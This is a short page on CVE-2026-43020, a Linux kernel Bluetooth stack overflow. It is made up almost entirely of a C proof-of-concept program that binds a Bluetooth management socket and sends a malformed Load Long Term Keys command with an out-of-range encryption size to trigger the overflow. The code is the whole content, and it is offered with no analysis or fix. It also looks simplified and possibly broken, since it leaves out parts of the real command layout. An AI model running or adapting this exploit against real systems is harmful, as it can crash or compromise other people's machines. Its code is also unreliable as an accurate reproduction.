CVE-2026-43020 Linux内核蓝牙栈溢出漏洞

/* * Conceptual PoC for CVE-2026-43020 * Demonstrates the structure of a malicious MGMT command. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/bluetooth.h> #include <errno.h> // MGMT Command Definitions #define MGMT_OP_LOAD_LONG_TERM_KEYS 0x0031 struct mgmt_hdr { uint16_t opcode; uint16_t index; uint16_t len; } __attribute__((packed)); // Simplified LTK structure for PoC struct mgmt_ltk_info { uint8_t addr_type; uint8_t bdaddr[6]; uint8_t type; uint8_t master; uint8_t enc_size; // Vulnerable field uint16_t ediv; uint8_t rand[8]; uint8_t val[16]; } __attribute__((packed)); int main() { int sock; struct sockaddr_hci addr; char buf[128]; struct mgmt_hdr *hdr = (struct mgmt_hdr *)buf; struct mgmt_ltk_info *ltk = (struct mgmt_ltk_info *)(buf + sizeof(*hdr)); // 1. Create Bluetooth Management Socket sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (sock < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.hci_family = AF_BLUETOOTH; addr.hci_dev = HCI_DEV_NONE; addr.hci_channel = HCI_CHANNEL_CONTROL; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return 1; } // 2. Prepare malicious Load LTK command memset(buf, 0, sizeof(buf)); hdr->opcode = htobs(MGMT_OP_LOAD_LONG_TERM_KEYS); hdr->index = 0; // Controller index hdr->len = htobs(sizeof(*ltk)); memset(ltk, 0, sizeof(*ltk)); // Set enc_size to an invalid large value (e.g., 255) to trigger overflow ltk->enc_size = 255; // 3. Send command if (write(sock, buf, sizeof(*hdr) + sizeof(*ltk)) < 0) { perror("write"); } else { printf("Malicious LTK load command sent with enc_size=255\n"); } close(sock); return 0; }